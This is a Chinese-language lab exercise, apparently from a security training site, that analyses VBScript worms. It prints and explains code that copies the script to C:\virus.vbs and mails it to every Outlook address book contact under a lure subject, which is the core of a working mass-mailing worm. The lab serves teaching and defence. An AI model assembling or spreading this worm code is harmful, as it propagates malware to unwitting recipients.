网络蠕虫病毒代码分析 - kalibb

实验目的

更加深刻地了解蠕虫病毒；

尽量掌握蠕虫病毒的工作原理；

时刻做好防护措施。

实验原理

Vb ｓｃｒｉｐｔ和java ｓｃｒｉｐｔ是由微软操作系统的wsh（Windows Scripting HostWindows脚本主机）解析并执行的，由于其编程非常简单，所以此类脚本病毒在网上疯狂传播，疯狂一时的爱虫病毒就是一种vbs脚本病毒，然后伪装成邮件附件诱惑用户点击运行，更为可怕的是，这样的病毒是以源代码的形式出现的，只要懂得一点关于脚本编程的人就可以修改其代码，形成各种各样的变种。

实验内容

利用系统漏洞的恶性蠕虫病毒分析，了解企业防范蠕虫病毒措施、对个人用户产生直接威胁的蠕虫病毒、个人用户对蠕虫病毒的防范措施。

实验环境描述

1、学生机与实验室网络直连；

2、VPC1与实验室网络直连；

3、学生机与VPC1物理链路连通。

实验步骤

1、学生单击实验拓扑按钮，进入实验场景，进入目标主机。

2、学生输入账号admin ,密码123456，登录到实验场景中的目标主机。如图所示:

http://ctf.51elab.com/uploads/course_data/2018062515060313/b3d92a1a33083cb81f354dcb0fcbd675.png

3、 代码分析：

Set objFs=CreateObject（“Scripting.FileSystemObject”）(创建一个文件系统对象)

objFs.CreateTextFile （＂C:＼virus.txt＂, 1）

(通过文件系统对象的方法创建了TXT文件)

如果我们把这两句话保存成为.vbs的VB脚本文件，点击就会在C盘中创建一个TXT文件了。

倘若我们把第二句改为：

objFs.GetFile （WScript.ScriptFullName）.Copy （＂C:＼virus.vbs＂）

就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件，WScript.ScriptFullName指明是这个程序本身，是一个完整的路径文件名。GetFile函数获得这个文件，Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能，已经具备病毒的基本特征——自我复制能力。

此类病毒往往是通过邮件传播的，在vb ｓｃｒｉｐｔ中调用邮件发送功能也非常的简单，病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的，一个简单的实例如下：

Set objOA=Wscript.CreateObject （＂Outlook.Application＂）（创建一个OUTLOOK应用的对象）

Set objMapi=objOA.GetNameSpace （＂MAPI＂）（取得MAPI名字空间）

ｆｏｒ i=1 to objMapi.AddressLists.Count（遍历地址簿）

Set objAddList=objMapi.AddressLists （i）

ｆｏｒ j=1 To objAddList. AddressEntries.Count

Set objMail=objOA.CreateItem （0）

objMail.Recipients.Add （objAddList. AddressEntries （j））（取得收件人邮件地址 ）

objMail.Subject=＂你好!＂ （设置邮件主题，这个往往具有很大的诱惑性质）

objMail.Body=＂这次给你的附件，是我的新文档！＂ （设置信件内容）

objMail.Attachments.Add （“c:＼virus.vbs＂）（把自己作为附件扩散出去）

objMail.Send （发送邮件）

Next

Next

Set objMapi=Nothing （清空objMapi变量，释放资源）

set objOA=Nothing (清空objOA变量)

4、实验完毕，关闭虚拟机和所有窗口。